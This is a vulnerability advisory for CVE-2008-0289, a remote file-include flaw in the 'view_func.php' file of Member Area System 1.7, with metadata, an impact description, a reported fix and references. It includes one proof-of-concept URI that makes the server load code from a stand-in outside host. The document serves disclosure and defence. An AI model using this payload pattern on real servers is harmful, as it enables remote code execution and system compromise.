Members Area System 'view_func.php' Remote File Include Vulnerability

Bugtraq ID:	27244
Class:	Input Validation Error
CVE:	CVE-2008-0289
Remote:	Yes
Local:	No
Published:	Jan 11 2008 12:00AM
Updated:	May 07 2015 05:33PM
Credit:	ShipNX is credited with the discovery of this vulnerability.
Vulnerable:	Mansion Productions Member Area System (MAS) 1.7 Mansion Productions Member Area System (MAS) 0
Not Vulnerable:

Members Area System 'view_func.php' Remote File Include Vulnerability

Members Area System is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This issue affects Members Area System 1.7; other versions are also likely affected.

Members Area System 'view_func.php' Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/view_func.php?i=http://www.example2.com/justsomedir/&l=testfile.txt?

Members Area System 'view_func.php' Remote File Include Vulnerability

Solution:
UPDATE (January 18, 2008): This issue is reportedly fixed in the latest version. Please see the references for more information.

Members Area System 'view_func.php' Remote File Include Vulnerability

References:

• Member Area System Product Page (Mansion Productions)
  
• Member Area System (MAS) Remote File Include Vulnerability (view_func.php) ([email protected])
  
• Re: Member Area System (MAS) Remote File Include Vulnerability(view_func.php) ([email protected])